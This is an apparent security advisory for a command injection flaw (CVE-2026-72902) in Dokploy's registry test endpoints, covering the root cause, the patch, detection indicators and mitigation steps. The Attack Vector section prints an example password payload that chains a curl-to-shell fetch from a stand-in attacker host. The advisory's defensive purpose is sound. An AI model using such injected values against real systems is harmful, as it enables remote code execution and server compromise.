CVE-2026-72902: Dokploy RCE Vulnerability

CVE-2026-72902 Overview

Dokploy is a free, self-hostable Platform as a Service (PaaS) used to deploy applications and databases to any server. Versions prior to 0.29.13 contain a command injection vulnerability [CWE-78] in the registry testing endpoints. The registry.testRegistry and registry.testRegistryById procedures in apps/dokploy/server/api/routers/registry.ts interpolate the user-supplied password field directly into a shell command executed through execAsyncRemote, instead of using the safeDockerLoginCommand helper. An authenticated user can inject arbitrary shell metacharacters to execute commands on the local Dokploy host or on any SSH-connected target server.

Critical Impact
Authenticated attackers can execute arbitrary OS commands on Dokploy servers and connected remote hosts, leading to full compromise of the PaaS environment and any workloads it manages.

Affected Products

Dokploy versions prior to 0.29.13
Self-hosted Dokploy PaaS deployments exposing the registry management API
Any SSH-connected target server managed by an affected Dokploy instance

Discovery Timeline

2026-08-10 - CVE-2026-72902 published to NVD
2026-08-12 - Last updated in NVD database
Version 0.29.13 - Dokploy releases patched version addressing the flaw

Technical Details for CVE-2026-72902

Vulnerability Analysis

The flaw resides in two tRPC procedures, registry.testRegistry and registry.testRegistryById, defined in apps/dokploy/server/api/routers/registry.ts. Both procedures build a docker login shell command using string interpolation and pass it to execAsyncRemote, which executes the command through a shell on the Dokploy host or an attached remote server over SSH. Because the password field is placed unquoted and unescaped into the command string, any shell metacharacter provided by the caller is interpreted by the shell rather than treated as literal input.

An authenticated Dokploy user with access to the registry test workflow can craft a password value containing command substitution or command chaining operators. The injected payload runs with the privileges of the Dokploy service account on the target host, giving the attacker interactive command execution against the PaaS control plane and every remote node it manages.

Root Cause

The root cause is unsafe shell command construction. Dokploy ships a dedicated helper, safeDockerLoginCommand, that assembles docker login invocations with proper argument handling. The vulnerable procedures bypassed this helper and built the command as a template literal, treating attacker-controlled data as trusted shell input. This is a classic OS Command Injection weakness classified under [CWE-78].

Attack Vector

Exploitation requires an authenticated session and network access to the Dokploy API. An attacker submits a registry test request with a malicious password value such as "; curl attacker.tld/x | sh; #. When Dokploy interpolates the value into the login command and executes it through execAsyncRemote, the injected segment runs on the local Dokploy host or the selected SSH target. Because Dokploy typically operates with elevated privileges to manage Docker and orchestrate deployments, the attacker inherits broad control over container runtimes, secrets, and connected servers.

typescript

// Patch excerpt from apps/dokploy/server/api/routers/registry.ts
 	findRegistryById,
 	IS_CLOUD,
 	removeRegistry,
+	safeDockerLoginCommand,
 	updateRegistry,
 } from "@dokploy/server";
 import { db } from "@dokploy/server/db";

Source: GitHub commit d3f522b. The fix imports and switches the vulnerable procedures to safeDockerLoginCommand, which safely assembles the Docker login invocation instead of interpolating raw input.

Detection Methods for CVE-2026-72902

Indicators of Compromise

Unexpected child processes of the Dokploy Node.js runtime, particularly shells (sh, bash) spawning curl, wget, nc, or interpreter binaries.
Outbound network connections from the Dokploy host or its SSH-managed servers to unknown domains shortly after a registry test API call.
New or modified files under Dokploy working directories, container mount points, or SSH authorized_keys on managed nodes.
Registry test API requests containing shell metacharacters (;, |, `, $() in the password field.

Detection Strategies

Inspect Dokploy application logs for calls to registry.testRegistry and registry.testRegistryById with anomalous payload lengths or non-printable characters.
Correlate tRPC request timestamps with process-execution telemetry to identify shell activity spawned by the Dokploy process tree.
Baseline normal docker login invocations from the Dokploy host and alert on deviations such as chained commands or additional binaries.

Monitoring Recommendations

Enable verbose HTTP and application logging on Dokploy and forward events to a centralized log platform for retention and search.
Monitor SSH sessions initiated by Dokploy to managed nodes, flagging commands outside the expected deployment workflow.
Track version drift so that any Dokploy instance running below 0.29.13 is reported as noncompliant.

How to Mitigate CVE-2026-72902

Immediate Actions Required

Upgrade all Dokploy instances to version 0.29.13 or later without delay.
Rotate credentials that were configured through the registry management UI, including Docker registry tokens and any SSH keys used by Dokploy.
Review audit logs for prior registry test calls and investigate any host that Dokploy manages for signs of unauthorized command execution.

Patch Information

The issue is fixed in Dokploy 0.29.13. The vendor released the patch in GitHub Release v0.29.13, delivered through Pull Request 4875 and commit d3f522b. Full details are in GitHub Security Advisory GHSA-w6r4-f26v-8g36.

Workarounds

Restrict network access to the Dokploy web interface and API to trusted administrative networks or a VPN until patching is complete.
Limit Dokploy user accounts and API tokens to the minimum set of trusted operators, and disable accounts that do not require registry management.
Temporarily avoid using the registry connection test feature on unpatched instances.

bash

# Upgrade Dokploy to the patched release
docker pull dokploy/dokploy:0.29.13
docker stop dokploy && docker rm dokploy
# Recreate the container using your existing deployment method, pinned to 0.29.13
# Verify the running version after restart
curl -sS https://<dokploy-host>/api/version